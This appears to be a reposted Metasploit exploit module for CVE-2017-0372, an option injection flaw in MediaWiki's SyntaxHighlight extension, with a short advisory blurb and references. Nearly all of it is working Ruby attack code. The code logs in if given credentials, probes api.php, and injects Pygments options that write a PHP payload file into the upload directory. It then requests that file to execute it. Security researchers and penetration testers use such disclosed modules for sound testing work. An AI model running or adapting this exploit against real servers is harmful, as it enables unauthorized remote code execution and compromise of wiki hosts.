MediaWiki SyntaxHighlight Extension Option Injection

This Metasploit module exploits an option injection vulnerability in the SyntaxHighlight extension of MediaWiki. It tries to create and execute a PHP file in the document root. The USERNAME and PASSWORD options are only needed if the Wiki is configured as private. This vulnerability affects any MediaWiki installation with SyntaxHighlight version 2.0 installed and enabled. This extension ships with the AIO package of MediaWiki version 1.27.x and 1.28.x. A fix for this issue is included in MediaWiki version 1.28.2 and version 1.27.3.


MD5 | 1b15a640f92c98f62fa52a0340553730

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'MediaWiki SyntaxHighlight extension option injection vulnerability',
'Description' => %q{
This module exploits an option injection vulnerability in the SyntaxHighlight
extension of MediaWiki. It tries to create & execute a PHP file in the document root.
The USERNAME & PASSWORD options are only needed if the Wiki is configured as private.

This vulnerability affects any MediaWiki installation with SyntaxHighlight version 2.0
installed & enabled. This extension ships with the AIO package of MediaWiki version
1.27.x & 1.28.x. A fix for this issue is included in MediaWiki version 1.28.2 and
version 1.27.3.
},
'Author' => 'Yorick Koster',
'License' => MSF_LICENSE,
'Platform' => 'php',
'Payload' => { 'BadChars' => "#{(0x1..0x1f).to_a.pack('C*')} ,'\"" } ,
'References' =>
[
[ 'CVE', '2017-0372' ],
[ 'URL', 'https://lists.wikimedia.org/pipermail/mediawiki-announce/2017-April/000207.html' ],
[ 'URL', 'https://phabricator.wikimedia.org/T158689' ],
[ 'URL', 'https://securify.nl/advisory/SFY20170201/syntaxhighlight_mediawiki_extension_allows_injection_of_arbitrary_pygments_options.html' ]
],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic Targeting', { 'auto' => true } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 06 2017'))

register_options(
[
OptString.new('TARGETURI', [ true, "MediaWiki base path (eg, /w, /wiki, /mediawiki)", '/wiki' ]),
OptString.new('UPLOADPATH', [ true, "Relative local upload path", 'images' ]),
OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]),
OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ]),
OptBool.new('CLEANUP', [ false, "Delete created PHP file?", true ])
])
end

def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api.php'),
'cookie' => @cookie,
'vars_post' => {
'action' => 'parse',
'format' => 'json',
'contentmodel' => 'wikitext',
'text' => '<syntaxhighlight lang="java" start="0,full=1"></syntaxhighlight>'
}
})

if(res && res.headers.key?('MediaWiki-API-Error'))
if(res.headers['MediaWiki-API-Error'] == 'internal_api_error_MWException')
return Exploit::CheckCode::Appears
elsif(res.headers['MediaWiki-API-Error'] == 'readapidenied')
print_error("Login is required")
end
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Safe
end

# use deprecated interface
def login
print_status("Trying to login....")
# get login token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api.php'),
'vars_post' => {
'action' => 'login',
'format' => 'json',
'lgname' => datastore['USERNAME']
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
json = res.get_json_document
if json.empty? || !json['login'] || !json['login']['token']
fail_with(Failure::Unknown, 'Server returned an invalid response')
end
logintoken = json['login']['token']
@cookie = res.get_cookies

# login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api.php'),
'cookie' => @cookie,
'vars_post' => {
'action' => 'login',
'format' => 'json',
'lgname' => datastore['USERNAME'],
'lgpassword' => datastore['PASSWORD'],
'lgtoken' => logintoken
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
json = res.get_json_document
if json.empty? || !json['login'] || !json['login']['result']
fail_with(Failure::Unknown, 'Server returned an invalid response')
end
if json['login']['result'] == 'Success'
@cookie = res.get_cookies
else
fail_with(Failure::Unknown, 'Failed to login')
end
end

def exploit
@cookie = ''
if datastore['USERNAME'] && datastore['USERNAME'].length > 0
login
end

check_code = check
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
fail_with(Failure::NoTarget, "#{peer}")
end

phpfile = "#{rand_text_alpha_lower(25)}.php"
cssfile = "#{datastore['UPLOADPATH']}/#{phpfile}"
cleanup = "unlink(\"#{phpfile}\");"
if not datastore['CLEANUP']
cleanup = ""
end
print_status("Local PHP file: #{cssfile}")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api.php'),
'cookie' => @cookie,
'vars_post' => {
'action' => 'parse',
'format' => 'json',
'contentmodel' => 'wikitext',
'text' => "<syntaxhighlight lang='java' start='0,full=1,cssfile=#{cssfile},classprefix=<?php #{cleanup}#{payload.encoded} exit;?>'></syntaxhighlight>"
}
})
if res
print_status("Trying to run #{normalize_uri(target_uri.path, cssfile)}")
send_request_cgi({'uri' => normalize_uri(target_uri.path, cssfile)})
end
end
end

Related Posts